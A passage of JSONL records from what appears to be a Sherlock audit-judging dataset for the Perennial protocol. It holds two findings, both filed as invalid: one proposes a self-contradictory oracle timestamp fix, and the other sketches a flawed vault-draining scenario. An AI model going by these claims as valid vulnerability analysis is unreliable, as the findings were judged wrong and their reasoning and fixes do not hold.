i--) {\n+++ if ( uint256(oracles[i].timestamp) > timestamp ) break;\n--- if (timestamp > uint256(oracles[i].timestamp)) break;\n provider = oracles[i].provider;\n }\n return provider.at(timestamp);\n }\n```\nas seen above it should be \"uint256(oracles[i].timestamp) > timestamp\" and \"timestamp < uint256(oracles[i].timestamp)\"","dataSource":{"name":"sherlock-audit/2023-09-perennial-judging","repo":"https://github.com/sherlock-audit/2023-09-perennial-judging","url":"https://github.com/sherlock-audit/2023-09-perennial-judging/blob/main//invalid/057.md"}} {"title":"The convertToShares and convertToAssets functions are vulnerable to manipulation of the total shares and assets values.","severity":"info","body":"Jolly Velvet Unicorn\n\nhigh\n\n# The convertToShares and convertToAssets functions are vulnerable to manipulation of the total shares and assets values.\n## Summary\nThe convertToShares and convertToAssets functions assume the total shares and assets can't be manipulated. But an attacker could potentially manipulate checkpoints to change these values. The calculations should check for valid, immutable values.\n## Vulnerability Detail\nThe convertToShares and convertToAssets functions are vulnerable to manipulation of the total shares and assets values.\n\nThe key issue is that these functions rely on calling totalShares() and totalAssets() to get the current total shares and assets. However, an attacker could manipulate these values by manipulating the checkpoint data.\n\nSpecifically, an attacker could:\n\n1. Deposit assets into the vault to increase totalAssets()\n2. Withdraw all their shares to reduce totalShares()\n3. Call convertToShares() to convert a small amount of assets into a large amount of shares. This works because totalAssets is high and totalShares is low.\n4. Withdraw the newly minted shares to drain assets from the vault\n## Impact\nAssets are drained \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-perennial/blob/main/perennial-v2/packages/perennial-vault/contracts/Vault.sol#L131-L132\nhttps://github.com/sherlock-audit/2023-09-perennial/blob/main/perennial-v2/packages/perennial-vault/contracts/Vault.sol#L140-L141\n## Tool used\n\nManual Review\n\n## Recommendation\nconvertToShares and convertToAssets should rely on immutable values that can't be manipulated, like:\n- The initial total supply of shares\n- The total deposits into the vault\n- The total withdrawals / redemptions from the vault","dataSource":{"name":"sherlock-audit/2023-09-perennial-judging","repo":"https://github.com/sherlock-audit/2023-09-perennial-judging","url":"https://github.com/sherlock-audit/2023-09-perennial-judging/blob/main//invalid/056.md"}}